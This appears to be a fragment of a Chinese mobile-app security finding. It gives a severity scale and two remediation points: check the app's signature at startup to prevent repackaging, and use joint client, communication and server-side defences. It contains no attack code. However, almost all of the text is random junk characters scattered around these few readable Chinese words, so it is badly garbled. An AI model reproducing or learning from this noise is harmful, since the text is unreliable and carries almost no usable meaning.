% D/ `' D) D# f1 {/ ?" s 2 C: B7 k5 i1 r4 `$ Z 2 k* |9 ^. B* t5 ]. Q' [& N 严重程度 + C4 s0 I9 u0 A* Q3 X$ g! j	9 I5 u* D, e3 D$ ~; q J9 s ( K! I1 q6 n$ ^2 F4 O 高 8 V7 }& n; O0 ~& ~5 y$ R & ~# e! {1 m9 p4 V	$ ?* [5 T9 r$ M7 O6 q ~9 k, d" ~ `6 W9 \; t: B. S/ c) g. b0 W ■ 8 P* j% P$ v- y( h6 w# h& y ' z/ Y* m& F. x8 z: X1 [	* L8 _* b+ f* o3 w& v2 [% p , _4 q8 B8 D; v/ K: n4 o0 e 中 9 s6 v+ k* P3 L2 P- l	3 F* ]5 I$ T7 d9 U$ x " |% E/ l! L2 x0 S 2 `; S; Z; X6 F% V( |$ t4 j% T 6 n2 y: A: a. U% b . O: ]- S; H+ b0 d/ K1 t7 |. y   8 H ~' d' {1 c: k @8 F! K5 a" j0 x) b( ^ 2 @( |1 Q' x6 |, E, K" {3 f( w( }	?9 K3 a+ N4 d: c 低 * n: q5 F% \" m }* J' x9 H	# ~. J/ x+ a& o$ e5 c2 M9 E5 c ( T7 N( ^7 n8 G/ p" S# J9 h   f; A. p) {) t$ t ( Y' W+ {! C' e+ S( X' a8 {

/ M* {% M0 f0 B! `

  ' ~0 x: r4 W; m6 ^# c( m

- I+ m4 x2 j4 a$ J( j$ L . j6 N1 {, y2 j! I& t, x _0 \

4 z/ l! f# c- I. [7 I 修复方法： , n g9 X& U+ T9 {8 W8 x8 D$ X _ % l7 b& r) S* r" W8 O5 _, l n' k

, D1 J8 O _# b# Q$ h 2 _3 C' I$ k C! |( { W2 P

. h# g/ ~& d3 T3 j- z               1.在 APP 启动时应做签名校验防止二次打包。
5 |" L/ u4 K% z/ ` 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

/ g! N0 X3 A P! Q; n ' Z, _8 m- W+ l

# |( Z) ?+ @. ]% l3 I) s D : |5 I0 k4 @. m" \) n, g+ T( w   6 e# V" y- @. z7 Q x# W2 P+ B: m , E* ], j/ `2 w3 c0 I8 N: G

4 I, M) T) v# e+ t

# v* A, z" v! k6 m2 V 9 Q% Y# F6 E. Y' \8 K a+ V

. g' E, ^( c% P& Z, \8 V# a, c% A* D! ]